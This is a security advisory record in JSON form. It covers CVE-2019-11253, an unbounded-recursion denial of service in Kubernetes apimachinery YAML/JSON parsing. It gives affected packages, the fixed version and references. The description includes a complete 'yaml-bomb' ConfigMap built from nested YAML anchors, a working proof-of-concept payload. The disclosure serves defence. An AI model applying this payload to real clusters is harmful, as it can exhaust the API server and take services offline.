{"id":"GHSA-74fp-r6jw-h4mp","revision":"8bf505b8f69e4401abac3972b17415be","records":[{"revision":"8bf505b8f69e4401abac3972b17415be","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-74fp-r6jw-h4mp","aliases":["GO-2022-0965"],"title":"Kubernetes apimachinery packages vulnerable to unbounded recursion in JSON or YAML parsing","description":"CVE-2019-11253 is a denial of service vulnerability in the kube-apiserver, allowing authorized users sending malicious YAML or JSON payloads to cause kube-apiserver to consume excessive CPU or memory, potentially crashing and becoming unavailable. \n\nWhen creating a ConfigMap object which has recursive references contained in it, excessive CPU usage can occur. This appears to be an instance of a \"Billion Laughs\" attack which is quite well known as an XML parsing issue.\n\nApplying this manifest to a cluster causes the client to hang for some time with considerable CPU usage.\n\n```yaml\napiVersion: v1\ndata:\n  a: &a [\"web\",\"web\",\"web\",\"web\",\"web\",\"web\",\"web\",\"web\",\"web\"]\n  b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]\n  c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]\n  d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]\n  e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]\n  f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]\n  g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]\n  h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]\n  i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]\nkind: ConfigMap\nmetadata:\n  name: yaml-bomb\n  namespace: default\n```\n### Specific Go Packages Affected\n- k8s.io/apimachinery/pkg/runtime/serializer/json\n- k8s.io/apimachinery/pkg/util/json\n","state":0,"publishedAt":"2023-02-08T00:35:27+00:00","modifiedAt":"2026-08-07T08:12:01.6764482+00:00","affected":[{"ecosystem":"Go","name":"k8s.io/apimachinery","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.0.0-20190927203648-9ce6eca90e73"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://nvd.nist.gov/vuln/detail/CVE-2019-11253","https://github.com/kubernetes/kubernetes/issues/83253","https://github.com/kubernetes/kubernetes/pull/83261","https://github.com/advisories/GHSA-pmqp-h87c-mr78","https://github.com/kubernetes/kubernetes","https://groups.google.com/g/kubernetes-security-announce/c/jk8polzSUxs","https://pkg.go.dev/vuln/GO-2022-0965","https://stackoverflow.com/questions/58129150/security-yaml-bomb-user-can-restart-kube-api-by-sending-configmap"],"sourceUrl":"https://github.com/advisories/GHSA-74fp-r6jw-h4mp","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-74fp-r6jw-h4mp","identifiers":["GHSA-74fp-r6jw-h4mp","GO-2022-0965"]},"retained":false,"historicalAffected":[]}],"coverage":[]}